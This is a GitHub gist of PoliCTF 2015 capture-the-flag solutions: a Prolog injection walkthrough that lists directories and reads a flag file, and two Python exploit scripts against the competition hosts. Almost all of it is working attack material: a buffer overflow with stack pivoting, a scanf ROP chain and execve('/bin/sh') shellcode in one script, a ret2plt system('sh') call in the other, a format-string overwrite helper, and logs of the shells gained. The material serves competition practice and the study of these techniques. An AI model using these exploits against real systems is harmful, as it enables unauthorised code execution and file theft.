Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Created July 13, 2015 17:30
Show Gist options
  • Save hhc0null/9de4301e197e8ed06259 to your computer and use it in GitHub Desktop.
Save hhc0null/9de4301e197e8ed06259 to your computer and use it in GitHub Desktop.
PoliCTF 2015 Pwn(pwn50, pwn150, pwn350)

PoliCTF 2015 pwn50-Hanoi_As_A_Service

Hanoi As A Service

50 Points

Check out our shiny new HaaS platform!

nc haas.polictf.it 80

This is a code injection challenge on Prolog.

First, e can inject a Prolog snipet through an input for the hanoi parameter.

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),hanoi(3).% <-- my input
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b

Then, try a ls command.

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),ls('/').% <-- my input
bin/            initrd.img      mnt/            sbin/           var/
boot/           lib/            opt/            srv/            vmlinuz
dev/            lib64/          proc/           sys/
etc/            lost+found/     root/           tmp/
home/           media/          run/            usr/
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),ls('/home/ctf/haas/').% <-- my input
haas                      haas-proxy.py             jhknsjdfhef_flag_here

Finally,read the flag!

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),see('/home/ctf/haas/jhknsjdfhef_flag_here'),repeat,get_char(T),print(T),T=end_of_file,!,seen.% <-- my input
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
end_of_file

やるだけ(just do it).

#!/usr/bin/env python2
import binascii
import re
import socket
import struct
import subprocess
import sys
import telnetlib
import time
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp=("localhost", 1919)):
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def p(x, t="<I"):
return struct.pack(t, x)
def u(x, t="<I"):
return struct.unpack(t, x)[0]
def unsigned(x):
return u(p(x, t="<i"), t="<I")
def overwrite(pairs, index=7):
(addrs, datas) = pairs
if len(addrs) != len(datas):
sys.stderr.write("[!] number of `pairs', elements don't be matched in overwrite()\n")
return ""
payload = ""
for addr in addrs:
# A, A+2, B, B+2, C, C+2, ...
payload += p(addr) + p(addr+2)
dataset = map(lambda x: [x&0xffff, (x>>16)&0xffff], datas)
dataset = sum(dataset, []) # it's a cool technique ;)
num = -len(payload)
prev = 0
for i, data in enumerate(dataset):
data += num
data = unsigned(data) if data < 0 else u(p(data, t="<H"), t="<H")
payload += "%{}x%{}$hn%{}x".format(data, index+i, (0x10000 - data + num) % 0x10000)
num = 0
return payload
def stack_leak(data, write=True):
data = data.replace('(nil)', '0x0')
data = data.split('0x')[1:]
stack = map(lambda x: int('0x'+x, 16), data)
if write:
print map(lambda x: "0x{:08x}".format(x), stack)
return stack
def message(message_type, message_body, value=None):
text = ""
if value:
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
else:
text = "[{}] {}".format(message_type, message_body)
print text
plt_gets = 0x8048410
plt_scanf = 0x8048470
bss_804a060 = 0x804a060
dummy_address = 0xdeadbeef
ret = 0x80487f0
percent_s = 0x8048893
if len(sys.argv) >= 2 and sys.argv[1] == '-l':
rhp = ('localhost', 10080)
else:
rhp = ('library.polictf.it', 80)
alignment = 2
with open("./execve_binsh", "rb") as fh:
shellcode = fh.read()
"""
BITS 32
jmp get_binsh
body:
;; execve("/bin/sh", NULL, NULL);
xor eax, eax
pop ebx
xor ecx, ecx
cdq
add al, 0xe
dec eax
dec eax
dec eax
int 0x80
;; exit(0);
xor eax, eax
inc eax
xor ebx, ebx
int 0x80
get_binsh:
call body
db "/bin/sh", 0"""
payload = "P"*(0x420-0x1b) # fillup buffer.
payload += "A"*(4*alignment) # alignment.
# stack pivoting
payload += p(bss_804a060) # saved ebp
payload += p(ret)
payload += p(ret)
payload += p(ret) # rop-sleds
payload += p(plt_scanf) # scanf("%s", bss_804a060);
payload += p(bss_804a060)
payload += p(percent_s)
payload += p(bss_804a060) # towards the next stage.
s, f = connect(rhp)
read_until(f, "exit\n")
f.write("a\n")
f.write("0\n"+payload+'\n')
f.write("u\n")
time.sleep(1)
read_until(f, "exit\n")
f.write(shellcode+'\n') # send a shellcode.
interact(s)
"""
[+] 4ll y0U n33D 15 5h3ll!!
whoami
ctf
cd /home/ctf/
ls
challenge
flag
cat flag
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}
echo "got flag;)
got flag;)
exit
"""
#!/usr/bin/env python2
import binascii
import re
import socket
import struct
import subprocess
import sys
import telnetlib
import time
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp=("localhost", 10080)):
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def p(x, t="<I"):
return struct.pack(t, x)
def u(x, t="<I"):
return struct.unpack(t, x)[0]
def unsigned(x):
return u(p(x, t="<i"), t="<I")
def overwrite(pairs, index=7):
(addrs, datas) = pairs
if len(addrs) != len(datas):
sys.stderr.write("[!] number of `pairs', elements don't be matched in overwrite()\n")
return ""
payload = ""
for addr in addrs:
# A, A+2, B, B+2, C, C+2, ...
payload += p(addr) + p(addr+2)
dataset = map(lambda x: [x&0xffff, (x>>16)&0xffff], datas)
dataset = sum(dataset, []) # it's a cool technique ;)
num = -len(payload)
prev = 0
for i, data in enumerate(dataset):
data += num
data = unsigned(data) if data < 0 else u(p(data, t="<H"), t="<H")
payload += "%{}x%{}$hn%{}x".format(data, index+i, (0x10000 - data + num) % 0x10000)
num = 0
return payload
def stack_leak(data, write=True):
data = data.replace('(nil)', '0x0')
data = data.split('0x')[1:]
stack = map(lambda x: int('0x'+x, 16), data)
if write:
print map(lambda x: "0x{:08x}".format(x), stack)
return stack
def message(message_type, message_body, value=None):
text = ""
if value:
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
else:
text = "[{}] {}".format(message_type, message_body)
print text
plt_system = 0x8048720
dynstr_sh = 0x8048458
dummy_address = 0xdeadbeef
alignment = 3
payload = "A"*(0x40-0x2c+4*alignment)
# just ret2plt.
payload += p(plt_system)
payload += p(dummy_address)
payload += p(dynstr_sh)
rhp = ("shuffle.polictf.it", 80)
s, f = connect(rhp)
f.write(payload)
f.write("exit\n")
f.write("exit\n")
# after some retry, it'll be success.
interact(s)
"""
[+] 4ll y0U n33D 15 5h3ll!!
It all began as a mistake..
It all began as a mistake..
whoami
ctf
cd /home/ctf
ls
flag
johnshuffle
cat flag
flag{rand0mizing_things_with_l0ve}
exit
"""
@hhc0null
Copy link
Author

Pwn350, I solved it after game over.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment